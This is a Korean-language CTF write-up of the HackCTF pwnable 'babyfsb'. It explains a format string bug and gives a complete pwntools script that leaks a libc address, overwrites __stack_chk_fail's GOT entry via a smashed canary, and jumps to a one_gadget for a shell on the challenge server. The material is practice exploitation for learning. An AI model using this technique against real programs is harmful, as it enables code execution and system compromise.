본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) babyfsb 풀이

by snwo 2021. 5. 14.

printf(buf) 부분에서 fsb 가 발생한다. buf 값의 입력가능 범위는 SFP 전까지이다.

리턴주소 ( __libc_start_main + 2XX ) 을 leak 하면서, 

카나리 부분을 덮은 뒤, ___stack_chk_fail@got 을 main 함수로 덮는다.

 

2라운드 에서는, leak 한 주소를 바탕으로 ___stack_chk_fail@got 을 원샷 함수로 덮거나, 

printf@got 을 system 으로 덮은 다음, 카나리 부분을 덮은 뒤, buf 에 "/bin/sh" 를 입력해서

printf(buf) -> system("/bin/sh") 실행

 

일단 rsp + 6번째가 buf 의 값을 나타낸다.

 

프로그램을 실행하고, __stack_chk_fail@got 을 보면, 아직 호출된 적이 없기때문에 0x400 ~ 으로 되어있어서

하위 2byte 만 덮으면 된다. (main 함수 주소는 0x4006a6)

 

여기서 leak 도 같이 진행해주자. main 의 리턴주소인 __libc_start_main+??? 은

15번째에 있다. %15$p 로 출력하면 0x 포함 14byte가 출력되니, 

덮을때 14 를 빼줘야한다.

 

 

B 문자를 넣어 0x40byte 를 맞추면, canary 를 덮을 수 있고,

__stack_chk_fail 함수가 호출되는데, 이때 got 주소는 main 함수로 되어있어 2 round 로 넘어가게된다.

 

leak 한 주소로 oneshot 가젯을 구한 뒤, 

다시 __stack_chk_fail 에 2바이트씩 넣고, 0x40byte 를 채운 뒤, 보내주면 된다.

 

ex.py

더보기

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
# r=process("./babyfsb")
r=remote("ctf.j0n9hyun.xyz"3032)
context.log_level='debug'
b=ELF("./babyfsb")
# lib=b.libc
lib=ELF("./libc.so.6")
 
main_2=b.sym['main']&0xffff
#index=6
pay=f"%15$p%{main_2-14}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x40-len(pay))
pause()
r.sendafter("hello\n",pay)
 
oneshot=[0xf1147,0xf02a4,0x4526a,0x45216]
base=int(r.recv(14),16)-lib.sym['__libc_start_main']-240
log.info(hex(base))
 
one_gadget = base+oneshot[3]
log.info(hex(one_gadget))
 
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16& 0xffff
one_gadget_high = (one_gadget >> 32&0xffff
 
low = one_gadget_low
 
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
 
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
 
payload2 = b''
payload2 += f"%{low}c".encode()
payload2 += b"%11$hn"
 
payload2 += f"%{middle}c".encode()
payload2 += b"%12$hn"
 
payload2 += f"%{high}c".encode()
payload2 += b"%13$hn"
payload2 += b'A'*(40-len(payload2))
payload2 += p64(b.got['__stack_chk_fail'])
payload2 += p64(b.got['__stack_chk_fail']+2)
payload2 += p64(b.got['__stack_chk_fail']+4)
 
payload2 +=b'B'*(0x40-len(payload2))
r.sendline(payload2)
r.interactive()
 
# 0x7f7aa444d830
cs